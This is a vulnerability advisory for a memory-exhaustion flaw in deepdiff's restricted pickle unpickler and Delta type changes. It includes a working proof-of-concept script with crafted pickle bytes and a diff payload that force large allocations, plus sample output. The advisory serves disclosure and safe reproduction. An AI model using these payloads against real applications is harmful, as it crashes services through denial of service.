CVE-2026-33155

The pickle unpickler _RestrictedUnpickler validates which classes can be loaded but does not limit their constructor arguments. A few of the types in SAFE_TO_IMPORT have constructors that allocate memory proportional to their input (builtins.bytes, builtins.list, builtins.range). A 40-byte pickle payload can force 10+ GB of memory, which crashes applications that load delta objects or call pickle_load with untrusted data.

Details

CVE-2025-58367 hardened the delta class against pollution and remote code execution by converting SAFE_TO_IMPORT to a frozenset and blocking traversal. _RestrictedUnpickler.find_class only gates which classes can be loaded. It doesn't intercept REDUCE opcodes or validate what is passed to constructors.

It can be exploited in 2 ways.

1 - During pickle_load

A pickle that calls bytes(N) using opcodes permitted by the allowlist. The allocation happens during deserialization and before the delta processes anything. The restricted unpickler does not override load_reduce so any allowed class can be called.

GLOBAL builtins.bytes      (passes find_class check, serialization.py:353)
INT    10000000000          (10 billion)
TUPLE + REDUCE             → bytes(10**10) → allocates ~9.3 GB

2 - During delta application

A valid diff dict that first sets a value to a large int via values_changed, then converts it to bytes via type_changes. It works because _do_values_changed() runs before _do_type_changes() in Delta.add() in delta.py line 183. Step 1 modifies the target in place before step 2 reads the modified value and calls new_type(current_old_value) at delta.py line 576 with no size guard.

PoC

The script uses Python's resource module to cap memory to 1 GB so you can reproduce safely without hitting the OOM killer. It loads deepdiff first, applies the limit, then runs the payload. Change 10**8 to 10**10 for the full 9.3 GB allocation.

import resource
import sys

def limit_memory(maxsize_mb):
    """Cap virtual memory for this process."""
    soft, hard = resource.getrlimit(resource.RLIMIT_AS)
    maxsize_bytes = maxsize_mb * 1024 * 1024
    try:
        resource.setrlimit(resource.RLIMIT_AS, (maxsize_bytes, hard))
        print(f"[*] Memory limit set to {maxsize_mb} MB")
    except ValueError:
        print("[!] Failed to set memory limit.")
        sys.exit(1)

# Load heavy imports before enforcing the limit
from deepdiff import Delta
from deepdiff.serialization import pickle_dump, pickle_load

limit_memory(1024)

# --- Delta application path ---
payload_dict = {
    'values_changed': {"root['x']": {'new_value': 10**8}},
    'type_changes': {"root['x']": {'new_type': bytes}},
}

payload1 = pickle_dump(payload_dict)
print(f"Payload size: {len(payload1)} bytes")

target = {'x': 'anything'}
try:
    result = target + Delta(payload1)
    print(f"Allocated: {len(result['x']) // 1024 // 1024} MB")
    print(f"Amplification: {len(result['x']) // len(payload1)}x")
except MemoryError:
    print("[!] MemoryError, payload tried to allocate too much")

# --- Raw pickle path ---
payload2 = (
    b"(dp0\n"
    b"S'_'\n"
    b"cbuiltins\nbytes\n"
    b"(I100000000\n"
    b"tR"
    b"s."
)

print(f"Payload size: {len(payload2)} bytes")
try:
    result2 = pickle_load(payload2)
    print(f"Allocated: {len(result2['_']) // 1024 // 1024} MB")
except MemoryError:
    print("[!] MemoryError, payload tried to allocate too much")

Output:

[*] Memory limit set to 1024 MB
Payload size: 123 bytes
Allocated: 95 MB
Amplification: 813008x
Payload size: 42 bytes
Allocated: 95 MB